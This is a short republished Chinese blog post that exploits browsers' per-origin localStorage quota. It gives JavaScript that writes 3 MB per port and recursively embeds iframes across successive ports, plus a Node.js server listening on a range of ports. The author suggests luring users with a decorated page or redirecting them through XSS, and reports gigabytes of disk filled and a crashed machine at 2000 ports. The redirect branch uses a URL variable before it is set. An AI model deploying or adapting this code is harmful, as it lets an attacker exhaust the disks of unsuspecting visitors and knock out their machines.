前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >LocalStorage 的一个漏洞

LocalStorage 的一个漏洞

作者头像
ApacheCN_飞龙
发布2019-02-15 10:35:04
7730
发布2019-02-15 10:35:04
举报
文章被收录于专栏:信数据得永生信数据得永生

LocalStorage 是 html5 的本地存储,其中的内容以文件的形式保存在本地磁盘中。

一个域(协议+域名+端口)的文件大小PC端为5~10M,移动端不大于2.5M。

但是我们可以在端口上做点手脚,因为端口是可控的,我们可以开一个服务器监听很多个端口,然后输出的页面使用iframe进行递归包含。

比如我们的页面可以嵌入以下代码:

代码语言:javascript
复制
(function(){
    var maxPort = ...;

    // 写文件
    var s = "";
    for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
    }
    localStorage.setItem('k', s);

    var port = parseInt(location.port) + 1;
    if(port > maxPort) return;

    if(port % 50 == 0){
        //每50个重定向一次,防止崩溃
        window.location.href = url;
    } else {
        // 新添加iframe
        var url = "http://example.com:" + port;
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
    }
})();

之后我们用Node.js架设服务器:

代码语言:javascript
复制
var http = require('http');
var fs = require('fs');

var content = fs.readFileSync('./index.html');

var maxPort = ...;

for(var port = 1000; port < maxPort; port++){
    http.createServer(function (request, response) {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
    }).listen(port);
}

我们可以给页面加点装饰,诱导用户点击。也可以使用现有的XSS漏洞重定向过去。

测试结果

100个端口有几乎500MB

200个端口则有1.17个G

如果将端口调整至2000个

GG。

来源:作为一个前端,可以如何机智地弄坏一台电脑?

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2016年02月19日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档